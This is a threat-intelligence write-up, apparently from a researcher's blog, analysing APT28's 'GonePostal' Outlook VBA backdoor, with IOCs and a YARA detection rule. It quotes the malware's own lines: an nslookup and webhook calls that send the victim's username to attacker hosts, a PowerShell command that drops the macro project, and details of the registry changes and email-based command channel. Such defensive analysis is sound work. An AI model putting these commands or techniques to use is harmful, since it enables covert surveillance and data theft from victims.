Analysis of GonePostal: APT28’s Custom VBA Backdoor for Microsoft Outlook
Overview
KTA007, also known as Fancy Bear, APT28, and Pawn Storm, is a state sponsored political and economic espionage group associated with the Russian Military’s Main Intelligence Directorate (GRU) Unit 26165. The group has been implicated in several high-profile cyberattacks such as the 2016 Democratic National Committee breach, the International Olympic Committee, the Norwegian Parliament and others. They are known to utilize techniques and tools ranging from zero-day exploitation, spear phishing and a mixture of commercial and custom malware.
Technical Breakdown
This campaign first start by dropping a unsigned malicious dll which pretends to be a legitimate Microsoft signed DLL of same name, and this malicious dll uses its export table to forward all exported lib functions to legitimate DLL which is named as tmp7EC9.dll. The entry point of the malicious dll contained encoded Powershell commands such as $a=$env:APPDATA;copy testtemp.ini "$a\Microsoft\Outlook\VbaProject.OTM" which drops a otm file but since I dont have this dll sample I downloaded same .xls file which has the VBA script, nslookup "$env:USERNAME.8bf50371-5f9f-4d45-9320-922b068ebc2e.dnshook.site" this sends the username of victim to attackers dnshook, webhook, oast.fun. Now the next half of DLLMain function modifies the registry keys LoadMacroProviderOn, Level, and PONT_STRING which enables to load macro whenever outlook starts and PONT_STRING value of 32 maps to the dialog box that would normally warn the user of content being downloaded. By setting this value the malware has stopped this dialog box being shown to the user.
Upon getting the .xls file I knew that it will have a macro script so I quickly dumped it and on a quick look things I noticed are functions like CreateProcessW, TerminateProcess, CreateFileW, WriteFile and others. Initially it has so many scrambled strings and symbols so that made a logic of script a bit difficult to analyze.
Figure 1: Initialization Function
Down the script I found initialization function of the script and since the symbols and variables names are resued throughout code so it can be reconstructed to more human readable format. Most of them are just base64 encodes but there was a implementation that read after 14 offset in some raw base64 like oQNfWDdmfdvnOnYQAuAG0AYQB0AHQAaQA0ADQANABAAHAAcgBvAHQAbwBuAC4AbQBlAA== which will give gibberish data but when decoded after 14th offset it will lead to a email a.matti444@proton.me.
Figure 2: Initialization Function after reconstruction
Figure 3: Keywords and filetypes
After reconstructing the initialization function, it uncovered some details about the config and moving forward it also decodes some filetypes and keywords. On starup of Outlook it triggers Application_MAPILogonComplete() which calls Init() to decode configuration strings, set up directories and prepare payloads.
Figure 4: Mail Listening Function
Application_NewMailEx() waits for new mails, When a new mail arrives they are added dictionary list of mail items and parsed by HandleMailItem(), it adds commands received from C2 to queue ensure that no bad email crash the whole process. If valid commands exist, it calls FinalizeMailItem to execute them. After commands are processed and then the emails are deleted from both the inbox and the deleted folder.
ProcessMailPayload() then extracts encoded data received from C2 and create task items with them and returning a command result, the encoding is base64 here as well but with different defined offset which is similar as decoding done in init() function.
Figure 6: Command Execution Function
FinalMailItem() is responsible for command execution and response, it iterates through main items and pass the command to dispatch function for main execution and returns reponse of payloads. Execute() is responsible for taking the stolen files, commands output, logs packs them into a new mail and sends back to the attacker.
Figure 7: Dispatch Payload Command function
DispatchPayloadCommand() handles four main commands that we have seen in the init() function and anything else will get rejected and get logged. It also implements a Command argument parser for parsing raw string sent by attacker and break them down into targetPath, and search pattern such as *.docx.
SliceResult = SliceByteArray(RawData, i * ChunkSize, CurrentChunkSize)
ChunkBytes = SliceResult.Success
Result.Message = Result.Message & SliceResult.Message
WriteResult = WriteBytesToFile(OutputPath, ChunkBytes, 0, Length(ChunkBytes))
Result.Message = Result.Message & WriteResult.Message
It reads the original file and encodes it using base64 and removes the original file, following these operations the files are split into chunks for transfer and it uses same config from init() for chunking files into aprrox 3MB then these byte chunks are written into file for transfer. And it uses this same process but in reverse order to save attachments from emails to get original format.
For command execution it uses cmd that captures output and another cmdNo which does not show any output So that these captured outputs are send back to C2.
Figure 9: PowerShell Command Execution
Conclusion
The campaign uses common business tools and methods of communication for command and control. Interception of email communications and a platform for sending to C2 over legitimate means enables a stealth manner of access which could be difficult to detect.
Figure 10: Execution Chain of malware
IOCs
- C2 Mail:
a.matti444@proton.me - DNS Exfil
1 2 3
$env:USERNAME.8bf50371-5f9f-4d45-9320-922b068ebc2e.dnshook.site https[:]//webhook[.]site/8bf50371-5f9f-4d45-9320-922b068ebc2e?$env:USERNAME $env:USERNAME.wcyjpnuxotpaebuijrtn3urwx1zeg223v.oast.fun
- Malicious DLL:
SSPICLI.dll - Legitimate DLL:
tmp7EC9.dll - Hashes:
1 2 3
2dc21fab89bca42d2de4711a7ef367f1 -> SSPICLI.dll 3e966f088d46a0eb482e3dc4af266c0f -> tmp7EC9.dll f8d9b7c864fb7558e8bad4cfb5c8e6ff -> testtemp.xls
Yara Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
rule APT28_GonePostal {
meta:
description = "Detects APT28 GonePostal Outlook Backdoor via error logging format"
author = "0xSec"
date = "2026-02-10"
strings:
// The unique error logging tags
$err1 = " :::1::: " // Startup Error
$err4 = " :::4::: " // Runtime Error
$err8 = " :::8::: " // Parsing Error
$err13 = " :::13::: " // Execution Error
$err15 = " :::15::: " // Upload Error
$err52 = " :::52::: " // File Chunking Error
$sig_nothing = "Nothing" ascii wide
$sig_part = "_part_last" ascii wide
condition:
(2 of ($err*)) or (1 of ($err*) and ($sig_nothing or $sig_part))
}

